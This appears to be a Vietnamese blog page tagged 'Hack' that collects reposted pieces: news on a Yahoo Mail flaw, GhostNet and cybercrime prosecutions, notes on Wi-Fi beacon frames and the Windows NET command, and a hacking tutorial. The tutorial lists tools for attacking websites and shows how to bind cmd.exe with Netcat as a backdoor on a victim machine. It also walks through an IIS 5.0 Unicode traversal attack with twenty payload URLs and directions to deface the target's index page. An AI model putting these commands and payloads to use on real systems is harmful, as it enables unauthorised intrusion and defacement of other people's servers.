Skip navigation.

Log in | Sign up

Để đầu tư CK thành công cần kiến thức, thông tin, nghệ thuật và may mắn

Welcome to Hoang Tam- Ngoc Tu blog: Nơi trao đổi những kiến thức về Tin Học & Tài Chính

Posts tagged with "Hack"

Cảnh báo Yahoo Mail có thể bị mất mật khẩu

Cảnh báo Yahoo Mail có thể bị mất mật khẩu
(Dân trí) - Người dùng Yahoo Mail vừa được cảnh báo một lỗ hổng tồn tại suốt 2 năm qua có thể giúp các hacker dễ dàng truy cập trái phép vào tài khoản của họ.

Theo một báo cáo mới nhất trên tờ Register, Ryan Barnett - giám đốc nghiên cứu về bảo mật ứng dụng của hãng bảo mật Breach Security - cho biết lỗ hổng này nảy sinh từ một ứng dụng web cho phép tự động đăng nhập vào dịch vụ webmail rất phổ biến.

Tuy nhiên, điều quan trọng là ứng dụng web này không tuân theo các bước kiểm tra an ninh thường theo sau bước đăng nhập trên trang.

Bọn hacker có thể sử dụng lỗ hổng này để tiến hành những vụ tấn công chiếm đoạt mật khẩu của người sử dụng.

Các chuyên gia bảo mật cũng xác nhận thông tin trên và cho rằng, phát hiện mới này đã chứng thực mối nghi ngờ lâu nay về những lỗ hổng trong ứng dụng phụ trợ, vốn là yếu tố chính dẫn đến sự gia tăng số vụ tấn công thành công nhằm vào các mạng xã hội hay các cổng thông tin tổng hợp.

Sau khi bị tấn công, các tài khoản email này có thể được bọn tin tặc sử dụng để gửi thư rác và phần mềm độc hại, bởi có thể dễ lọt qua bộ lọc truyền thống hơn.

Giới hacker còn có sử dụng những thông tin tài khoản email để truy cập vào tài khoản ngân hàng hoặc nhiều loại tài khoản có lợi khác.

Phía Yahoo cho biết đang kiểm tra lỗ hổng này.

GhostNet

GhostNet lả tên được đặt cho một nhóm chuyên xâm nhập hệ thống điện toán thế giới, phần lớn xuất phát từ Trung Quốc, đã vào được tối thiểu 1295 hệ thống của chính quyền cũng như tư nhân tại 103 quốc gia toàn cầu, kể cả máy điện toán của đức Ðạt Lai Lạt Ma,[1] theo một bản báo cáo đưa ra vào Chủ Nhật ngày 29 tháng 3, 2009.[2]
Mục lục
[ẩn]

* 1 Khám phá
* 2 Liên quan đến Trung Quốc
* 3 Nơi khác
* 4 Chú thích
* 5 Liên kết ngoài

[sửa] Khám phá
GhostNet được khám phá và đặt tên bởi các nhà nghiên cứu từ Trung tâm Nghiên cứu Quốc tế Munk (hình).

Các chuyên gia ở Trung tâm Nghiên cứu Quốc tế Munk tại viện đại học Toronto đã soạn thảo bản báo cáo về việc do thám đã được thực hiện từ các máy điện toán hầu như hoàn toàn đặt ở Trung Quốc. "Có đến 30 phần trăm những hệ thống bị xâm nhập được coi là những mục tiêu có giá trị cao và kể cả các máy đặt ở các bộ ngoại giao, tòa đại sứ, tổ chức quốc tế, cơ quan truyền thông, cơ quan phi chính phủ," theo bản báo cáo.[3]

Cuộc điều tra khởi sự khi văn phòng của đức Ðạt Lai Lạt Ma nhờ họ xem xét hệ thống điện toán để coi có bị xâm nhập hay không. Việc này đã dẫn đến họ đến một nhóm đã xâm nhập vào ít nhất 1.295 máy điện toán trong gần hai năm. Một số máy này được đặt trong các trung tâm Phật giáo Tây Tạng ở Ấn Ðộ, Bruxelles, Luân Đôn và New York.[4]

"Bản báo cáo này là một lời cảnh tỉnh," các tác giả bản báo cáo nói. "Sự kiện có nhiều máy điện toán đặt ở các nơi quan trọng bị nhóm này xâm nhập cho thấy sự dễ dàng bị do thám qua internet."

Tuy nhiên các nhà nghiên cứu nói không có dấu hiệu nào cho thấy các văn phòng chính phủ Hoa Kỳ bị xâm nhập, nhưng một máy điện toán của Tổ chức Hiệp ước Bắc Đại Tây Dương đã bị dò xét trong nửa ngày và các máy điện toán của tòa đại sứ Ấn Ðộ tại Washington DC đã bị xâm nhập.[5]

[sửa] Liên quan đến Trung Quốc

Tuy nhiên, các nhà nghiên cứu không thể hoàn toàn chắc chắn rằng chính quyền Trung Quốc trực tiếp dính líu vào nỗ lực này và nhấn mạnh rằng nếu cho tất cả các hoạt động do thám này là do chính quyền Trung Quốc thực hiện là sai lầm.[6]

"Nếu nhìn vào con số người ta có thể có một nhận định khác," theo bản báo cáo. "Trung Quốc hiện nay là quốc gia có nhiều người sử dụng internet nhất trên thế giới. Chỉ riêng số người trẻ sử dụng internet ở đây có thể là lý do gây ra những vụ do thám từ Trung Quốc."[7]

[sửa] Nơi khác

Các nhà nghiên cứu tin rằng ngoài việc do thám máy điện toán của đức Ðạt Lai Lạt Ma, nhóm này cũng đã xâm nhập vào hệ thống của chính quyền ở vùng Nam Á và Ðông Nam Á. Nhóm này tiếp tục xâm nhập và dò xét thêm hơn một chục hệ thống điện toán mỗi tuần.

Ettercap tool: Hacking LAN password, mail, online,..password

Các công cụ cần thiết để hack Web

Các công cụ cần thiết để hack Web :
_ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình để test lỗi . Nhưng đối với các bạn mới “vào nghề” thì những công cụ này rất cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất . Sau đây là một số công cụ bạn cần phải có trên máy “làm ăn” của mình :

_ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần ( Cách tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé ) .
_ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn . Một shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host (http://www.ddth.com/autolink.php?id=1&script=showthread&forumid=32), dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các exploit được viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start -- > Run -- > gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.ht ml
http://www.ultrashell.net/
_Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ nào đang chạy trên server (http://www.ddth.com/autolink.php?id=5&script=showthread&forumid=32) (services / ports : webserver , ftpserver , pop3,...),server đang dùng hệ điều hành gì,loại tường lửa mà server (http://www.ddth.com/autolink.php?id=5&script=showthread&forumid=32) sử dụng,...và rất nhiều tính năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
_ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 exploits khác.
_ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website đó.
_ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể tạo được liên kết giữa bạn và server (http://www.ddth.com/autolink.php?id=5&script=showthread&forumid=32) cho việc đọc và ghi dữ liệu ( tất nhiên là khi Netcat đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham khảo tại http://www.l0pht.com/ .
_ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các exploit thường được viết bằng Perl . Nó còn được sử dụng để thi hành các lệnh thông qua các file *.pl .
_ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng.
_ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows NT/2000 .
_ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ chú ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có . Nếu down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên Box “Đồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên đó sẽ trả lời cho bạn .

48 . ) Hướng dẫn sử dụng Netcat :

a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat .
b . ) Biên dịch :
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu ``/``: // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):

#define GAPING_SECURITY_HOLE
#define TELNET

- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ``:.``
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

CODE
C:\ > nc -h
connect to somewhere: nc [-options] hostname port [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h ----------- gọi hướng dẫn
-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l ------------- đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L ------------ buộc Netcat ``cố`` lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n ------------ chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o ------------ file ghi nhật kí vào file
-p port ----- chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr ----- giả mạo địa chỉ IP nguồn là addr
-t ------------- không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u ------------- dùng UDP(mặc định netcat dùng TCP)
-v ------------- hiển thị chi tiết các thông tin về kết nối hiện tại.
-vv ----------- sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs ---- đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z ------------- chế độ zero I/O, thường được sử dụng khi scan port


Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080

d . ) Tìm hiểu Netcat qua các VD :

_ Chộp banner (http://www.ddth.com/autolink.php?id=12&script=showthread&forumid=32) của web server :

Ví dụ: nc đến 172.16.84.2, cổng 80

CODE
C:\ > nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html


Để biết thông tin chi tiết về kết nối, bạn có thể dùng –v ( -vv sẽ
cho biết các thông tin chi tiết hơn nữa)

C:\ > nc -vv 172.16.84.1 80

CODE
172.16.84.1: inverse host (http://www.ddth.com/autolink.php?id=1&script=showthread&forumid=32) lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: ``0-cec-3899eaea``
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK


Nếu muốn ghi nhật kí, hãy dùng -o . Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

xem file nhat_ki.log xem thử nó đã ghi những gì nhé :

CODE
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: ``0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea``..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....


dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server

_ Quét cổng :
Bạn hãy chạy netcat với tùy chọn –z . Nhưng để quét cổng nhanh hơn, bạn hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1- > 500) của host (http://www.ddth.com/autolink.php?id=1&script=showthread&forumid=32)

CODE
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open


nếu bạn cần scan các cổng UDP, dùng -u

CODE
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open


_ Biến Netcat thành một trojan :
Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l ( listen ) và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe ( đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:

CODE
E:\ > nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error


Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080

CODE
C:\ > nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\ > cd test
cd test
E:\test > dir /w
dir /w
Volume in drive E has no label.
Volume ****** Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test > exit
exit
sent 20, rcvd 450: NOTSOCK


Như các bạn đã thấy , ta có thể làm những gì trên máy của nạn nhân rồi , chỉ cần một số lệnh cơ bản , ta đã chiếm được máy tính của đối phương , các bạn hãy xem tiếp nhé :

CODE
E:\ > nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...?
?


Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s<địa_chỉ_ip_của_máy_này > . Ví dụ:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:\ > nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.

( Dựa theo bài viết của huynh Vicky )

49 . ) Kỹ thuật hack IIS server 5.0 :

_ IIS server với các phiên bản từ trước đến phiên bản 5.0 đều có lỗi để ta có thể khai thác , do bây giờ hầu hết mọi người đều dùng IIS server 5.0 nên lỗi ở các phiên bản trước tôi không đề cập đến . Bây giờ tôi sẽ bày các bạn cách hack thông qua công cụ activeperl và IE , các bạn có thể vận dụng cho các trang Web ở VN vì chúng bị lỗi này rất nhiều . Ta hãy bắt đầu nhé .
_ Trước hết các bạn hãy download activeperl và Unicode.pl .
_ Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không :

CODE
telnet < tên trang Web > 80
GET HEAD / HTTP/1.0


Nếu nó không báo cho ta biết mục tiêu đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
_ Sau khi đã xác định được mục tiêu các bạn vào DOS gõ :

CODE
perl unicode.pl
Host: ( gõ địa chỉ server mà các bạn muốn hack )
Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .


_ Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình (http://www.ddth.com/autolink.php?id=10&script=showthread&forumid=32) trong Unicode.pl ) như sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.ex e?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe ?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/ cmd.exe?/c+
[14]/m c/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0 \%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0% af../winnt/system32/cmd.exe?/c+
[17]/iimpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0 %af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c 0%af../winnt/system32/cmd.exe?/c+


Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :

http://www.xxx.com/scripts/..%c1%p (http://www.xxx.com/scripts/..%c1%25p) c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1 (http://www.xxx.com/scripts/..%c1%251) c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Đến đây các bạn đã có thể xâm nhập vào server (http://www.ddth.com/autolink.php?id=5&script=showthread&forumid=32) của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé . 172.16.106.1

Theo http://hauionline.com

Cơ quan điều tra gặp khó với tội phạm công nghệ cao

,



Cơ quan điều tra gặp khó với tội phạm công nghệ cao

Giải quyết các vụ án có sử dụng công nghệ tin học, cơ quan tố tụng gặp nhiều khó khăn, lúng túng trong việc thu thập, đánh giá chứng cứ.

Trước việc gia tăng hiện tượng sử dụng công nghệ tin học vào các hoạt động phạm tội, VKSND tối cao vừa cung cấp nội dung các vụ án đã xét xử để cơ quan tố tụng địa phương tham khảo khi giải quyết các vụ tương tự.

Đầu tiên là vụ Nguyễn Anh Tuấn cùng đồng phạm xâm nhập vào website bán hàng trực tuyến ở nước ngoài lấy thông tin thẻ tín dụng của khách ngoại rồi in vào thẻ ATM giả. Dùng thẻ giả, Tuấn cùng đồng phạm đã rút được tổng cộng hơn 1,6 tỷ đồng từ các máy ATM của Vietcombank.

Vướng mắc của vụ này là lần theo thông tin trên các thẻ ATM giả, cơ quan điều tra không xác định được cá nhân, tập thể nào là nạn nhân của vụ án. Vietcombank cũng cho rằng “việc các bị cáo rút tiền tại các máy trên không ảnh hưởng tới quyền và nghĩa vụ của ngân hàng trong việc làm đại lý quản lý máy”.

Như vậy, hành vi của các bị can có dấu hiệu trộm cắp tài sản nhưng nếu không xác định được người bị hại thì liệu đã thỏa mãn cấu thành tội phạm? Liên ngành tố tụng trung ương đã trao đổi và TAND tối cao có văn bản nhận định: “Việc chưa xác định được nạn nhân không làm ảnh hưởng đến việc xác định bản chất vụ án nên truy tố các bị cáo về tội trộm cắp là hoàn toàn có căn cứ pháp luật”.

Trên cơ sở đó, trong hai năm 2007-2008, tòa hai cấp sơ, phúc thẩm đã xét xử Tuấn và đồng phạm về tội trộm cắp, đồng thời tuyên sung công quỹ hơn 1,6 tỷ đồng do không xác định được nạn nhân.
Hình minh họa. Ảnh: Corbis

Tương tự, đầu năm 2009, TAND TP Hà Nội đã xử Cham Tack Choi (quốc tịch Malaysia) và đồng phạm về tội trộm cắp tài sản dù không thể xác định được người bị hại. Các bị cáo này được đối tượng nước ngoài cung cấp 23 thẻ VISA giả, yêu cầu sang Việt Nam rửa tiền bằng cách mua hàng thời trang đắt tiền, đồng hồ hiệu, nước hoa... mang về. Sau vài lần giao dịch, Vietcombank phát hiện có gian lận mới phối hợp với công an bắt quả tang.

Vietcombank xác minh thì thấy 23 thẻ VISA giả trên do 9 ngân hàng ở 7 nước khác nhau phát hành. Thẻ mang tên các can phạm nhưng thông tin ruột lại là các cá nhân nước ngoài không xác định được tên thật, địa chỉ. 9 ngân hàng phát hành thẻ cũng không có kiến nghị gì về việc xử lý các giao dịch bằng thẻ giả. Vietcombank và những nhà hàng, khách sạn chấp nhận thẻ cũng không bị mất tiền vì có đủ chứng từ thanh toán, đồng thời đã thực hiện đúng các quy định mà ngân hàng phát hành thẻ đề ra.

Dụ đổi tiền thật lấy điểm ảo là lừa đảo: Thời gian qua, tại Việt Nam xuất hiện hàng loạt vụ lợi dụng sự thiếu hiểu biết của người dân để quảng bá các website như Colony Invest, Forex... thu hút hàng trăm người đổ tiền thật mua điểm ảo. Mạng lưới đầu tư đa cấp lan rộng theo cấp số nhân nhờ chiêu lãi suất 2%-3%/ngày tùy mức đầu tư và hoa hồng chót vót cho các trưởng nhóm thứ cấp. Hóa ra chỉ là chiêu lấy tiền của người này bỏ vào túi người kia khiến nhiều nạn nhân cũng trở thành thủ phạm.

Những tháng đầu năm nay, tòa án nhiều tỉnh đồng bằng sông Cửu Long đã đưa ra xét xử các nhân vật chủ chốt trong các vụ này. Nhận thức thống nhất của các cơ quan tố tụng là cho dù bị cáo không biết hoạt động đầu tư trên website là thật hay giả thì việc họ giới thiệu, lôi kéo người khác bỏ tiền thật mua điểm ảo, hưởng lãi suất tính theo điểm tích lũy... đã đủ cấu thành tội lừa đảo chiếm đoạt tài sản.

Về quá trình giải quyết các vụ án có sử dụng công nghệ tin học, VKSND tối cao cho biết cơ quan tố tụng các cấp đã gặp nhiều khó khăn, lúng túng trong việc thu thập, đánh giá chứng cứ. Giữa các cơ quan tố tụng còn những nhận thức chưa thống nhất về thủ đoạn phạm tội cũng như cách vận dụng pháp luật để giải quyết án.

Những khó khăn đó bắt nguồn từ tính “phi truyền thống” của những vụ án này: Từ việc can phạm và nạn nhân không tiếp xúc trực tiếp với nhau, thậm chí không có liên hệ nào dẫn tới không thể thu thập tố cáo của nạn nhân. Chứng cứ vật chất lại hạn chế, thường chỉ là thẻ tín dụng giả, tài khoản ngân hàng ảo. Quan trọng nhất là dữ liệu máy tính thể hiện phương thức, thủ đoạn phạm tội thì đến nay chưa đương nhiên được coi là chứng cứ nếu không xử lý tốt bằng các biện pháp tố tụng, chuyển hóa.

Theo VKSND tối cao, về lâu dài phải sửa đổi Bộ luật Tố tụng hình sự, ban hành thông tư liên ngành hướng dẫn việc xử lý tội phạm sử dụng công nghệ cao. Trong khi chưa đủ dữ liệu thực tiễn để tổng kết, việc cung cấp nội dung các vụ án đã xét xử sẽ giúp các cơ quan tố tụng địa phương tham khảo với tính chất như là “tiền lệ” để giải quyết các vụ tương tự.

(Theo Pháp Luật TP HCM)

WIFI - Beacon frame

,

Beacon frames are part of the IEEE 802.11 wireless network protocol.

Beacon Frames are frames that have control information and are transmitted in each of the 11 channels and help a wireless station to identify nearby wireless access points (AP) in passive scanning mode. They tell the stations in the Basic Service Set (BSS) about the existence of the network. They can also be transmitted by the AP for polling purposes. The Beacon Frame sent by the AP contains control information and can be used by Mobile stations to locate an AP if it is on active scanning mode.

NET command

,

NET là lệnh nội trú của Windows 2000, XP nên anh em không cần phải đi tìm nó ở đâu hết, cứ gõ là chạy. Chức năng của lệnh này được phân ra theo một số nhóm sau:

1. Managing Services: Quản lý dịch vụ
NET - START, STOP, PAUSE, CONTINUE

2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên
NET - SHARE, VIEW, USE, FILE, SESSIONS

3. Managing Network Print jobs and Network Time: Kiểm sóat tác vụ in ấn và thời gian vào mạng
NET - TIME, PRINT

4. Managing Security: Kiểm sóat bảo mật hệ thống
NET - ACCOUNTS, USER, GROUP, LOCALGROUP

5. Network Messaging: Giao dịch nhắn tin trong mạng
NET - NAME, SEND

6. Managing Network configuration: Quản lý cấu hình của mạng
NET - COMPUTER, CONFIG_WORKSTATION, CONFIG_SERVER, STATISTICS_WORKSTATION, STATISTICS_SERVER

Bây giờ tôi xin đi vắn tắt một số lệnh của NET theo từng nhóm.

1. Managing service:

Cú pháp của lệnh như sau:

NET START [service]
NET STOP [service]
NET PAUSE [service]
NET CONTINUE [service]

Trong đó [service] chính là từ khóa hiển thị trong phần service của Control Panel

Bốn lệnh START, STOP, PAUSE và CONTINUE tương ứng với KHỞI ĐỘNG, DỪNG, TẠM NGỪNG, TIẾP TỤC cái service mà

anh em sẽ chỉ định cho nó thực thi. Để biết tên của các service đang chạy, anh em gõ vào dòng lệnh:

NET START

